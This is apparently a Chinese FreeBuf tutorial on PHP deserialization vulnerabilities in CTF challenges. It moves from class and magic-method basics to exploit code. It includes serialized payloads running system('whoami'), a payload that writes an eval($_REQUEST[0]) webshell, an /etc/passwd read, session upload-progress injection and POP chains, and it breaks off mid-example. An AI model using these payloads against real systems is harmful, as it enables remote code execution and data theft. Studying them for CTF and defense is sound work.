freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CTF中的反序列化考点总结从0到1
2024-03-25 20:50:23

PHP 类和对象基础

基础概念

类是对一个类别的抽象概念,而具体的则是对象,比如汽车就是一个类

而对象则是我的宝马,而不是宝马,宝马也是一个类,对象是一个具体到每个事物

PHP官方解释: 类是对象的抽象,对象是类的具像(具体对象)

如何创建一个类:

使用class关键字进行创建,Class ClassName{}

<?php 
class Car {
    // 这里是类的内容
}
>

**类名的命名规范:**类名通常使用大驼峰命名法。
例如:persontest的大驼峰命名法就是PersonTest小驼峰命名法就是personTest

类中的成员

  • 成员属性(在类中定义的变量称之为属性)

  • 方法(在类中定义的函数称之为方法)

  • 成员常量

创建一个类

<?php 
class Demo {
    public $username = 'x1ong';
    public $password = "admin@123";

    public function login() {
        echo "正在执行登陆操作...";
    }
}

$obj = new Demo; // 初始化或叫实例化 Demo 这个类
$obj->login();  // 执行对象中的 login 方法。
?>

类的继承

继承的好处

  • 子类继承了父类,那么就拥有了父类可以有的属性和方法 (子承父业)。

  • 子类拥有父亲的所有可以拿到的属性,还有自己独特的属性。

继承的语法

class SubClassName extends PrentClassName {}

继承示例

<?php 
class ParentClass {
    public $money = '1000000000000000000.0';

    public function run() {
        echo " 成为富豪";
    }
}

class SubClass extends ParentClass {

}

$obj = new SubClass;
echo $obj->money;
$obj->run();
?>

alt text

可以看到,子类SubClass并没有定义money属性和run方法,但是可以调用其属性和方法,这就是继承。

类的访问权限

类的访问权限一般指的是成员属性和成员方法的访问权限,如下:

权限说明外部访问类内部访问被继承
public公有的truetruetrue
protected受保护的falsetruetrue
private私有的falsetruefalse
<?php 
// 父类
class Person {
    public $name = 'x1ong';
    protected $id = '41282820020327xxxx';
    private $position = '计算机从业人员';
}
// SubPerson继承父类Proson 
class SubPerson extends Person {
    function __construct() {
        // public 可以在外部访问、类内部访问、被继承
        echo '我父亲的名字为: ' . $this->name . PHP_EOL;
        // protected 可以在类内部访问,可以被继承,不能在类外部访问
        echo '我父亲的身份证号为: ' . $this->id . PHP_EOL;
        // provate 只能在类的内部访问,不可以被继承,不可以在类外部访问。 
        // echo '我父亲的职位为: ' . $this->position . PHP_EOL;

    }
}

$obj = new SubPerson;
// 外部访问public 可以
echo $obj->name;

// 外部访问protected 不可以
echo $obj->id;

// 外部访问private 不可以
// echo $obj->position;

?>

魔术方法

PHP的魔术方法(Magic Methods)是一些特殊的方法,它们在对象的生命周期中具有特殊的行为。这些方法以两个下划线开头,如__construct()__destruct()__get()__set()等。这些方法被称为“魔术方法”,因为它们在特定的时机自动调用,而不需要显式调用

__construct()

触发条件参数
构造函数,当当前类被实例化的时候自动调用任意长度的参数,常用于初始化属性的值
<?php 
class Demo {
    public $name;
    public $age;
    public $gender;

    function __construct($name,$age,$gender) {
        // 属性初始化
        $this->name = $name;
        $this->age = $age;
        $this->gender = $gender;
    } 
}

$obj = new Demo('xiaoming',17,'male'); // 实例化(初始化)类
echo $obj->name;
echo $obj->age;
echo $obj->gender;
?>

__destruct()

触发条件参数
析构函数,在对象的所有引用被删除或者当对象被销毁时执行的魔术方法。无参数
<?php 
class Demo {
    function msg() {
        echo ' 这是一条无用的信息 ';
    }

    function __destruct() {
        echo ' 我是__destruct()执行的内容 ';
    }
}

$obj = new Demo; // 执行1次
$obj->msg();
echo ' helloworld ';

// 序列化和反序列化
$ser = serialize($obj);
unserialize($ser); // 执行2次
?>

__wekeup()

在执行unserialize()之前会检查类中是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源。返回void,常用与反序列化操作中重新建立数据库连接或执行其他初始化操作。

触发条件参数
在使用unserialize()反序列化之前调用无参数
<?php 
class Demo {
    // 在反序列化之前调用执行该方法
    function __wakeup() {
        echo '我是反序列化之前调用的__wakeup方法';
    }
}

$obj = unserialize('O:4:"Demo":1:{s:4:"name";s:5:"x1ong";}');

__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会先被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的属性名称的数字。
如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误。

触发条件参数返回值
在使用unserialize()反序列化之前调用无参数需要被序列化存储的成员属性,是个数组。
<?php 
class Demo {
    public $name = 'x1ong';
    public $age = 18;
    public $gender = 'male';
    function __sleep() {
        // 只序列化 name 和 age 属性
        return array('name','age');
    }
}

$obj = new Demo;
// 在序列化之前先执行__sleep()该函数返回需要序列化的属性名
echo serialize($obj); // O:4:"Demo":2:{s:4:"name";s:5:"x1ong";s:3:"age";i:18;}
?>

__toString()

触发条件参数
当对象被 echo(或被作为字符串输出或运算) 时触发,该函数都需要有return无参数
<?php 
class Demo {
    function __toString() {
        return '我是当对象被echo的时候执行的函数 __toString';
    }
}
$obj = new Demo;
echo $obj; // 我是当对象被echo的时候执行的函数 __toString
?>

__invoke()

触发条件参数
当对象被当成函数时调用无参数
<?php 
class Demo {
    function __invoke() {
        echo '我是对象被当做函数调用时执行的__invoke()';
    }
}
$obj = new Demo;
$obj();

__get()

触发条件参数
当对象从外部访问一个不存在(或不可访问)的属性时调用该方法无参数
<?php 
class Demo {
    private $name = 'x1ong';
    function __get($name) {
        echo '你访问的属性值不存在或不可访问,访问名称为: ' . $name;
    }
}

$obj = new Demo;
echo $obj->name; // 访问了不可访问的name属性
?>

__set()

触发条件参数
当对象从外部访问一个不存在(或不可访问)的属性时调用该方法无参数

在类的外部可以为类的公有属性重新赋值:

<?php 
class Demo {
    public $name = 'x1ong';
}
$obj = new Demo;
echo $obj->name . PHP_EOL; // x1ong 
// 为类的属性name重新赋值
$obj->name = 'pony';
echo $obj->name . PHP_EOL; // pony
?>

但是遇到了访问不到的属性,一旦为他们重新赋值则会报错,此时我们如果非要从外部赋值,可以使用魔术方法__set():

例如下例:

<?php 
class Demo {
    protected $name = 'x1ong';
}
$obj = new Demo;
echo $obj->name . PHP_EOL; // x1ong 
// 为类的属性重新赋值  报错 !!! 原因:外部访问不到protected
$obj->name = 'pony';
?>

那么如何为外部访问不到的属性重新赋值呢,这个时候就需要用到魔术方法__set():

<?php 
class Demo {
    // 受保护的属性 类的外部访问不到
    protected $name = 'x1ong';
    function __set($name,$value) {
        // 在类的内部为属性重新赋值
        $this->name = $value;
        echo $this->name . PHP_EOL;
        echo '当设置一个类外无法访问的属性时,自动调用__set()方法' . PHP_EOL;
    }
}
$obj = new Demo;
// 为类的属性重新赋值
$obj->name = 'pony';
?>

__clone()

触发条件参数
在克隆一个对象的时候调用 ,在这里可以对克隆出来的对象属性做一些操作无参数
<?php 
class Demo {
    public $name;
    public $age;
    public $gender;
    function __construct($name,$age,$gender) {
        $this->name = $name;
        $this->age = $age;
        $this->gender = $gender;
    }
    function __clone() {
        echo '我在对象被克隆的时候调用: __clone()' . PHP_EOL;
    }
}
$obj = new Demo('x1ong',18,'male');
$obj2 = clone $obj; // 克隆一个对象
echo $obj2->name; // x1ong
?>

__call()

触发条件参数
在调用一个不存在的方法时调用$args1(调用的方法名),$args2(传入的参数值,是个数组)
<?php 
class Demo {
    function __call($args1,$args2) {
        echo '我是调用对象的一个不存在的方法时执行的__call()';
        echo $args1 . PHP_EOL;
        print_r($args2);
    }
}
$obj = new Demo;
$obj->addInfo(1,2,3);

__callStatic()

触发条件参数
当调用不存在的静态方法时调用$args1(调用的方法名),$args2(传入的参数值,是个数组)
<?php 
class Demo {
    static function __callStatic($name, $arguments) {
        echo '我是当调用一个不存在的静态方法时执行的__callStatic()' . PHP_EOL;
        echo '调用的静态方法名为' . $name . PHP_EOL;
        echo '传入的参数为:' . PHP_EOL;
        print_r($arguments);
    }

}

$obj = new Demo;
Demo::config('root');

__isset()

触发条件参数
对不可访问或不存在属性使用isset()或者empty()的时候触发$args1(不存在的成员属性名称)
<?php 
class Demo {
    function __isset($name) {
        echo '我是当对不可访问属性使用isset()或者empty()的时候触发的__isset()' . PHP_EOL;
        echo '访问的属性名为' . $name . PHP_EOL;
    }
}

$obj = new Demo;
// 触发一次 __isset()
isset($obj->x1ong);
// 触发一次 __isset()
empty($obj->name);

__unset()

触发条件参数
对不可访问或不存在的属性使用unset()时触发$args1(不可访问或者不存在的属性名称)
<?php 
class Demo {
    function __unset($name) {
        echo '我是对不可访问或不存在的属性使用unset()时触发__unset()' . PHP_EOL;
        echo '访问的属性名为' . $name . PHP_EOL;
    }
}

$obj = new Demo;
// 触发点
unset($obj->name);

序列化和反序列化

引言

在很多语言中,将对象的状态信息转为可存储或可传输的过后才能是序列化。序列化的逆向过程则是反序列化

主要是为了方便对象的传输,通过文件、网络等方式将序列化后的字符串进行传输。最终可以通过反序列化获取之前的对象。

现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市:

  1. 这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。

  2. 当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。

PHP 中的序列化

在 php 中可以使用serialize函数对一个对象或不为资源类型的数据进行序列化,序列化的内容只包含属性不包含方法

数据类型的序列化值

数据类型序列化的值
null 类型nullN;
字符串类型"hello"s:5:"hello";
整型666i:666;
浮点型2.0d:2;
布尔类型trueb:1;
布尔值类型falseb:0;
数组类型array(6,7)a:2:{i:0;i:6;i:1;i:7;}

对象的序列化

<?php 
class Demo {
	public $name = 'x1ong';
	public $age = 18;
	public $address = "HN";
}

$obj = new Demo();
echo serialize($obj);
// O:4:"Demo":3:{s:4:"name";s:5:"x1ong";s:3:"age";i:18;s:7:"address";s:2:"HN";}
?>

序列化值解读:

alt text

<?php 
class Person {
    public $a1;
    public $a2 = false;
    public $a3 = 1;
    public $a4 = 2.0;
    public $a5 = array(1,2);
    public $a6 = "demo";
}

// 将对象进行序列化
echo serialize(new Person());
// O:6:"Person":6:{s:2:"a1";N;s:2:"a2";b:0;s:2:"a3";i:1;s:2:"a4";d:2;s:2:"a5";a:2:{i:0;i:1;i:1;i:2;}s:2:"a6";s:4:"demo";}

解读:

O    #  object
6    #  表示类名长度
"Person" # 表示类的名称
6    # 表示类中属性的个数
{}   # 类里面的属性和值都被其包裹
s    # 表示类中的第一个属性名是以String形式进行存储的
2    # 表示类中第一个属性名的长度
"a1" # 表示类中第一个属性名
N    # 表示类中第一个属性值的类型

s    # 表示类中第二个属性名是以String形式进行存储的
2    # 表示类中第二个属性名的长度
"a2" # 表示类中第二个属性名
b    # 表示类中第二个属性值的类型
0    # 表示类中第二个属性的值

s    # 表示类中第三个属性名是以String形式进行存储的
2    # 表示类中的第三个属性名的长度
"a3" # 表示类中第三个属性名
i    # 表示类中第三个属性值的类型
1    # 表示类中第三个属性的值

s    # 表示类中第四个属性名是以String形式进行存储的
2    # 表示类中的第四个属性名的长度
"a4" # 表示类中第四个属性名
d    # 表示类中第四个属性值的类型
2    # 表示类中第四个属性的值

s    # 表示类中第五个属性名是以String形式进行存储的
2    # 表示类中的第五个属性名的长度
"a5" # 表示类中第五个属性名
a    # 表示类中第五个属性值的类型
2    # 表示类中第五个属性值的长度
{}   # 类里面的某个属性的值为数组被其包裹
i    # 表示第一个数组中的第一个元素索引(key)的类型
0    # 表示第一个数组中的第一个元素的索引(key)
i    # 表示第一个数组中的第一个元素值的类型
1    # 表示第一个数组中的第一个值
i    # 表示第一个数组中的第二个元素索引(key)的类型
1    # 表示第一个数组中的第一个元素的索引(key)
i    # 表示第一个数组中的第二个元素值的类型
2    # 表示第一个数组中的第二个值

s    # 表示类中第六个属性名是以String形式进行存储的
2    # 表示类中的第六个属性名的长度
"a6" # 表示类中第六个属性名
s    # 表示类中第六个属性值的类型
4    # 表示类中第六个属性值的长度
"demo" # 表示类中第六个属性的值

序列化值类型

数据类型序列化后的类型简称
arraya
booleanb
doubled
integeri
common objecto
referencer
non-escaped binary strings
custom objectC
classO
nullN
pointer referenceP
unicode stringU

常见的序列化类型:null => N,boolean => b, integer => i, string => s, array => a, class => O

如果在一个类的成员属性的值是一个对象,然而将该类进行序列化,那么它的结果会是什么样?

<?php 
class Demo1 {
    var $name = 'libai';
    function info() {
        echo $this->name . PHP_EOL;
    }
}

class Demo2 {
    var $obj;
    function __construct() {
   // 成员属性的值为一个对象
        $this->obj = new Demo1;
    }
}

$a = new Demo2;
echo serialize($a);
// O:5:"Demo2":1:{s:3:"obj";O:5:"Demo1":1:{s:4:"name";s:5:"libai";}}

访问权限不同序列化不同

PHP类中,访问权限的不同,最终序列化出来的字符串里面的属性名也有些不同。

<?php
class Demo {
    public $name;
    protected $id;
    private $position;
}

echo serialize(new Demo);

序列化值如下:

alt text

  • public: 访问权限为public的属性,在序列化之后的字符串中,表示属性名的,与实际类中的一致。

  • protected: 访问权限为protected的属性,在序列化之后的字符串中,表示属性名的,会在其实际类中的名前面加上\x00*\x00,例如protected $name序列化之后,就为\x00*\x00name

  • private: 访问权限为private的属性,在序列化之后的字符串中,表示属性名的,会在其前面加上
    \x00ClassName\x00,之后紧接的是实际类中的属性名。例如一个Person类的private $addr; 序列化之后就为\x00Person\x00addr

\x00到底是啥呢,它是一个ascii中十进制为0的不可见字符。该字符不可以被复制。如果需要进行url传参的时候,需要在其位置使用%00代替。平时存储可以使用base64编码。

PHP 中的反序列化

在 PHP 中可以使用unserialize函数对一个序列化字符串进行反序列化。

<?php
class Demo {
}
// 反序列化的前提是 序列化的类存在
$obj = unserialize('O:4:"Demo":1:{s:4:"name";s:5:"x1ong";}'); 
echo $obj->name;  // x1ong

alt text

  1. unserialize反序列化成功之后返回的是对象。

  2. 反序列化生成的对象里面的属性和值,由反序列化里的属性和值提供,与原有类预定义的属性和值无关

  3. 反序列化不触发类的成员方法;需要调用方法后才能触发(魔术方法除外)

  4. 反序列化的类需要真实存在

反序列化漏洞

漏洞成因

原理:当进行反序列化的时候反序列化字符串可控,并且又没有进行过滤,那么就可能存在反序列化漏洞。

在反序列化的时候,如果这个字符串可控,我们就可以让它反序列化出代码中任意一个类对象,并且类对象的属性是可控的

同时如果类的危险方法被调用时(自动/手动)使用了自己成员属性的值,那么这个方法的执行结果我们就可控,所以就造成了反序列化漏洞的存在。

漏洞类型

  • 原生反序列化

  • session 反序列化

  • phar 反序列化

漏洞代码

<?php 
highlight_file(__FILE__);
error_reporting(0);
class Execute {
    public $cmd;
    function __construct(){
        $this->cmd = "echo 'hello';";
    }
    function displayInfo() {
        eval($this->cmd);
    }

}
$get = $_REQUEST['word'];
$obj = unserialize($get);
$obj->displayInfo();

首先我们先关注如下危险函数:

// 代码执行
eval()
assert()

// 命令执行
exec()
passthru()
popen()
system()
shell_exec()

// 文件操作
file_get_contents()
file_put_contents()
unlink()
show_source()
highlight_file()
...

可以从代码看到在displayInfo函数中调用了eval($this->cmd)因此我们只需要想办法displayInfo函数,将cmd属性赋值为想要执行的代码即可。

displayInfo函数在代码中已经调用了。因此我们只需要将cmd属性复制为想要执行的代码即可。

构造 Exp:

<?php 
class Execute {
    public $cmd;
    // function __construct(){
    //     $this->cmd = "echo 'Hello World';";
    // }
    // function displayInfo() {
    //     eval($this->cmd);
    // }
}

$obj = new Execute;
$obj->cmd = "system('whoami');";
echo serialize($obj);

执行得到序列化之后的值:

alt text

传参:

?word=O:7:"Execute":1:{s:3:"cmd";s:17:"system('whoami');";}

alt text

怎样利用反序列化

利用技巧

  • 寻找unserialize()函数的参数是否由我们可控的点

  • 寻找我们反序列化的目标,重点寻找存在__wakeup__destruct()魔术方法的类

  • 一层一层地研究该类在魔术方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的

  • 找到我们要控制的属性以后,我们就将代码复制下来,然后构造序列化发起攻击。

构造 EXP 技巧

  • 把题目代码复制到本地

  • 注释掉方法和删除一些没用的东西

  • 本地对属性值构造序列化输出

  • 尽量对序列化出来的字符串使用urlencode()编码

  • 分析技巧: 先找危险函数,由内到外分析

例题

例题-1

<?php
highlight_file(__FILE__);
error_reporting(0);
class vul {
	public $cmd = 'ls';
	function __wakeup() {
		system($this->cmd);
	}
}
unserialize($_POST['data']);
?>

构造 EXP:

<?php
class vul {
    public $cmd = 'ls';
    // function __wakeup() {
    //     system($this->cmd);
    // }
}
$obj = new vul;
$obj->cmd = "whoami";
echo serialize($obj);
?>

执行得到:

O:3:"vul":1:{s:3:"cmd";s:6:"whoami";}

利用:

alt text

例题-2

<?php 
highlight_file(__FILE__);
error_reporting(0);
class vul {
	public $filename = 'test.txt';
	public $content = 'flag';

	function __wakeup() {
		$this->save();
	}

	public function save() {
		file_put_contents($this->filename, $this->content);
	}
}

unserialize($_POST['data']);
?>

构造 EXP:

<?php 
class vul {
    public $filename;
    public $content;

    // function __wakeup() {
    //     $this->save();
    // }

    // public function save() {
    //     file_put_contents($this->filename, $this->content);
    // }
}

$obj = new vul;
$obj->filename = "shell.php";
$obj->content = '<?php echo 123;eval($_REQUEST[0]);?>';
echo serialize($obj);
?>

执行得到:

O:3:"vul":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:36:"<?php echo 123;eval($_REQUEST[0]);?>";}

利用:

alt text

利用之后,会在同目录下生成shell.php文件,访问利用即可。

例题-3

<?php 
highlight_file(__FILE__);
error_reporting(0);

class vul {
	public $file;
	public function __toString() {
		if (isset($this->file)) {
			echo file_get_contents($this->file);
			echo "<br />";
			return "good!";
		}
	}
}

$data = unserialize($_POST['data']);
echo $data;
?>

构造 EXP:

<?php 
class vul {
    public $file;
    // public function __toString() {
    //     if (isset($this->file)) {
    //         echo file_get_contents($this->file);
    //         echo "<br />";
    //         return "good!";
    //     }
    // }
}
// $data = unserialize($_POST['data']);
// echo $data;
$obj = new vul;
$obj->file = "/etc/passwd";
echo serialize($obj);

执行得到:

O:3:"vul":1:{s:4:"file";s:11:"/etc/passwd";}

利用:

alt text

例题-4

<?php 
highlight_file(__FILE__);
error_reporting(0);

class vul1 {
	public $obj;

	function __construct() {
		$this->obj = new vul2();
	}

	function __destruct() {
		$this->obj->action();
	}
}

class vul2 {
	function action() {
		echo 'vul2->action';
	}
}

class vul3 {
	public $cmd;
	function action() {
		system($this->cmd);
	}
}

unserialize($_POST['data']);

首先我们先定位到危险函数system()发现让该函数执行就必须调用action方法,于是我们就找调用action()方法的地方,发现在vul1类下的__destruct方法下存在$this->obj->action(),由于是析构函数,程序退出自动执行,故而我们只需要让该类下的obj属性为vul3对象即可。

构造EXP:

<?php 
class vul1 {
    public $obj;

    // function __construct() {
    //     $this->obj = new vul2();
    // }

    // function __destruct() {
    //     $this->obj->action();
    // }
}
class vul2 {
    // function action() {
    //     echo 'vul2->action';
    // }
}
class vul3 {
    public $cmd;
    // function action() {
    //     system($this->cmd);
    // }
}

$obj = new vul3;
$obj->cmd = "whoami";
$obj2 = new vul1;
$obj2->obj = $obj;
echo serialize($obj2);

执行得到:

O:4:"vul1":1:{s:3:"obj";O:4:"vul3":1:{s:3:"cmd";s:6:"whoami";}}

利用:

alt text

例题-5

<?php
highlight_file(__FILE__);
error_reporting(0);
class vul {
	protected $cmd = 'ls';
	function __wakeup() {
		system($this->cmd);
	}
}
unserialize($_POST['data']);
?>

由于属性cmd的访问权限为protected,故而在序列化生成的字符串属性前会加上\x00*\x00,成为\x00*\x00cmd,由于\x00是不可见字符,故而我们需要对其进行URL编码。

<?php
class vul {
    protected $cmd = "whoami";
    function __wakeup() {
        system($this->cmd);
    }
}

$obj = new vul;
echo urlencode(serialize($obj));
?>

运行得到:

O%3A3%3A%22vul%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A6%3A%22whoami%22%3B%7D

执行:

alt text

例题-6

<?php
highlight_file(__FILE__);
error_reporting(0);
class vul {
	private $cmd = 'ls';
	function __wakeup() {
		system($this->cmd);
	}
}
unserialize($_GET['data']);
?>

由于属性cmd的访问权限为private,故而在序列化生成的字符串属性前会加上\x00vul\x00,成为\x00vul\x00cmd,由于\x00是不可见字符,故而我们需要对其进行URL编码。

构造 EXP:

<?php
class vul {
    private $cmd = "whoami";
    function __wakeup() {
        system($this->cmd);
    }
}

$obj = new vul;
echo urlencode(serialize($obj));
?>

执行得到:

O%3A3%3A%22vul%22%3A1%3A%7Bs%3A8%3A%22%00vul%00cmd%22%3Bs%3A6%3A%22whoami%22%3B%7D

利用:

alt text

session 反序列化

引言

PHP 在 session 读取和存储的时候,都会有一个序列化和反序列化的过程,PHP 内置了多种处理器存取$_SESSION数据,都会对数据进行序列化和反序列化。

alt text

序列化引擎

除了默认的的 session 序列化引擎php外,还有几种引擎,不同的引擎存储方式不同。

  • php_binary键名的长度对应的 ASCII 字符+键名+经过serialize()函数序列化处理的值

  • php键名+竖线+经过serialize()序列化处理的值

  • php_serialize``serialize()函数序列化处理数组的方式

以如下代码为例:

<?php
session_start();
$_SESSION['name'] = 'x1ong';
?>

php_binary:

alt text

php

alt text

php_serialize

alt text

三种处理器的存储格式差异,就会造成 session 序列化和反序列化处理器设置不当时的安全隐患。

Session 上传进度

alt text

<!DOCTYPE html>
<html>
<body>
<form action="http://120.48.128.24" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="PAYLOAD"> 
<input type="file" name="file">
<input type="submit" name="submit">
</form> 
</body>
</html>
<!-- 请先将 session.upload_progress.cleanup 设置为 off 并手动传参PHPSESSID-->

此时我们来到 session_xxxx 文件中就可以看到序列化之后的上传进度,并在其中可以看到上传的文件名和PHP_SESSION_UPLOAD_PROGRESS相应的值:

alt text

Session 反序列化题目

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO {
    public $mdzz;
    function __construct() {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct() {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo'])) {
    $m = new OowoO();
}
else {
    highlight_string(file_get_contents('index.php'));
}
?>
分析

通过为phpinfo参数传入值可执行phpinfo()函数查看其信息。

alt text

发现当前页面使用的反序列化引擎为php,而php.ini配置文件中配置的是php_serialize,这个差异就导致了session反序列化问题。

利用

构造 EXP:

<?php 
error_reporting(0);
class OowoO {
    public $mdzz;
    // function __construct() {
    //     $this->mdzz = 'phpinfo();';
    // }

    // function __destruct() {
    //     eval($this->mdzz);
    // }
}
$obj = new OowoO();
$obj->mdzz = "system('whoami');";
echo serialize(new $obj);
?>
// 生成如下内容: 
O:5:"OowoO":1:{s:4:"mdzz";s:17:"system('whoami');";}
// 由于当前页面使用的是 php session 序列化引擎,故而将在上方 EXP 前面加上管道符。让 PHP_SESSION_UPLOAD_PROGRESS 生成的内容作为键名,而管道符后面的作为序列化字符串。
|O:5:"OowoO":1:{s:4:"mdzz";s:17:"system('whoami');";} 
// 由于我们需要将以上字符串作为文件名传入,故而需要对双引号转义。
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:17:\"system('whoami');\";}

alt text

alt text
成功执行命令。

POP 链

引言

POP链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload

例题1

<?php 
// flag in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value) {
        include($value);
        echo $flag;
    }
    public function __invoke() {
        $this->append($this->var);
    }
}

class Show {
    public $source;
    public $str;
    public function __toString() {
        return $this->str->source;
    }
    public function __wakeup() {
        echo $this->source;
    }
}

class Test {
    public $p = Modifier;
    public function __construct() {
        $this->p = array();
    }
    public function __get($key) {
        $func = $this->p;
        return $func();
    }
}

if (isset($_GET['pop'])) {
    unserialize($_GET['pop']);
}

分析:

目标: 执行 Modifier 类中append()函数,修改 var 属性为flag.php
在分析的时候,建议从内到外分析:

  • 将 Modifier 类中的 var 属性赋值为flag.php,由于echo $flag在该类的append()方法中,故而不会自动调用。

  • 寻找能调用append()方法的类: 发现在本类的__invoke魔术方法中调用了append()方法。

  • 寻找能调用Modifier__invoke方法的类: 而__invoke是魔术方法,当当前类(Modifier) 被当做函数调用时自动调用。那么我们就去找其他类的其他方法有没有函数名我们可控的地方,发现在Test类中的__get魔术方法中存在$func = $this->p;return $func();因此我们只需要将Test中的 属性p赋值为Modifier对象即可。

  • 寻找能调用Test类下__get方法的类:__get为魔术方法,当访问了一个不存在或者无法访问的属性时自动触发。那么我们看下哪里可以控制调用类的一个属性,发现在Show类的__toString()方法中存在return $this->str->source;,那么我们只需要让该类的str属性赋值为Test对象。

  • 寻找能调用Show__toString方法的类:__toString为魔术方法,当对象被当做字符串执行(输出)时自动调用,那么我们看下哪里有字符串输出可控的地方,发现在当前类的__wakeup方法中存在echo $this->source;,那么我们只需要将Show类的source属性赋值为自身对象即可。

  • Show类的wakeup方法在反序列化的时候自动调用,因此我们反序列化Show对象即可。

  • 最后完成的POP链就构造完成了,但是由于里面存在私有属性,因此建议对序列化出来的值使用urlencode()函数进行 URL 编码。

构造 EXP:

<?php 
// flag in flag.php
class Modifier {
    private $var = "flag.php";
    // public function append($value) {
    //     include($value);
    //     echo $flag;
    // }
    // public function __invoke() {
    //     $this->append($this->var);
    // }
}

class Show {
    public $source;
    public $str;
    // public function __toString() {
    //     return $this->str->source;

    // }
    // public function __wakeup() {
    //     echo $this->source;
    // }
}

class Test {
    public $p = Modifier;
    // public function __construct() {
    //     $this->p = array();
    // }
    // public function __get($key) {
    //     $func = $this->p;
    //     return $func();
    // }
}

$obj = new Modifier();
$obj2 = new Test();
$obj2->p = $obj;
$obj3 = new Show();
$obj3->str = $obj2;
$obj3->source = $obj3;

echo urlencode(serialize($obj3));

利用:

alt text

例题2

<?php 
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);

class Read {
    public function get_file($value) {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

class Show {
    public $source;
    public $var;
    public $class1;

    public function __construct($name = 'index.php') {
        $this->source = $name;
        echo $this->source . "Welcome" . "<br />";
    }

    public function __toString() {
        $content = $this->class1->get_file($this->var);
        echo $content;
        return $content;
    }

    public function _show() {
        if (preg_match("/gopher|http|ftp|https|dict|\.\.|flag|file/i", $this->source)) {
            die("hacker");
        } else {
            highlight_file($this->source);
        }
    }

    public function Change() {
        if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
        }
    }

    public function __get($key) {
        $function = $this->$key;
        $this->{$key}();
    }
}

if (isset($_GET['sid'])) {
    $sid = $_GET['sid'];
    $config = unserialize($_GET['config']);
    $config->$sid;
} else {
    $show = new Show('index.php');
    $show->_show();
}
?>
非预期

分析:

  • 定位危险函数发现存在file_get_contentshighlight_file,两者参数都可控,但是highlight_file过滤了flag关键字。而file_get_contents并没有进行任何过滤。

  • 目标: 执行Read类中的get_file()方法。

  • 寻找可以调用get_file方法的类: 发现Show类的__toString函数存在$this->class1->get_file($this->var),我们可以将该类的class1属性赋值为Read对象,var属性值赋值为flag.php作为参数传给get_file()方法执行。

  • 寻找可以调用Show类中的__toString()方法的类: 由于__toString()方法为魔术方法,当当前类(Show)被当做字符串输出时调用。在Show类中我们发现存在__get()方法,该方法为魔术方法,当访问一个不存在或无法访问的属性时自动调用。其方法存在$function = $this->$key;$this->{$key}();其中的$key为不可访问或不存在的属性,假设不可访问的属性为__toString,那么带入到$this->{$key}()拼接之后就成为了$this->__toString()即可达到调用__toString()方法的效果。

在类外部我们可以发现,存在如下代码:

if (isset($_GET['sid'])) {
    $sid = $_GET['sid']; // __toString
    $config = unserialize($_GET['config']); // Show 对象的序列化值
    $config->$sid; // $config->__toString 
}

Show类中并没有__toString属性,那么就会触发__get($key),其中$key的值就为无法访问的属性__toString,带入到$this->{$key}()中就为:$this->__toString()最终调用了该方法。

构造 EXP:

<?php 
class Read {
}

class Show {
    public $source;
    public $var;
    public $class1;
}

$obj = new Read;
$obj2 = new Show;
$obj2->class1 = $obj;
$obj2->var = 'flag.php';
echo urlencode(serialize($obj2));
?>

利用:

alt text

题解

当然这里除了传入sid参数直接调用Show类下的__toString以外,还可以调用Show类下的_show()Change(),因为这俩方法都存在preg_match()正则函数,代码如下:preg_match("/.../", $this->source),正则函数将source属性作为字符串在表达式中进行匹配,而此时如果source属性的值为Show类生成的对象。那么就会调用__toString方法。

构造 EXP:

<?php 
class Read {
}

class Show {
    public $source;
    public $var;
    public $class1;
}

$obj = new Read;
$obj2 = new Show;
$obj2->class1 = $obj;
$obj2->var = 'flag.php';
$obj2->source = $obj2;
echo urlencode(serialize($obj2));
?>

利用:

alt text

alt text

至于为什么调用了_show方法之后执行了两次__toString(),而Change执行了一次__toString()原因如下:

alt text

例题-3

<?php
error_reporting(0);
highlight_file(__FILE__);
class Vox{
    protected $headset;
    public $sound;
    public function fun($pulse){
        include($pulse);
    }
    public function __invoke(){
        $this->fun($this->headset);
    }
}

class Saw{
    public $fearless;
    public $gun;

    public function __toString(){
        $this->gun['gun']->fearless;
        return "Saw";
    }

    public function _pain(){
        if($this->fearless){
            highlight_file($this->fearless);
        }
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
            echo "Does it hurt? That's right";
            $this->fearless = "index.php";
        }
    }
}

class Petal{
    public $seed;

    public function __get($sun){
        $Nourishment = $this->seed;
        return $Nourishment();
    }
}

if(isset($_GET['ozo'])){
    unserialize($_GET['ozo']);
}
else{
    $Saw = new Saw('index.php');
    $Saw->_pain();
}
?>

分析:

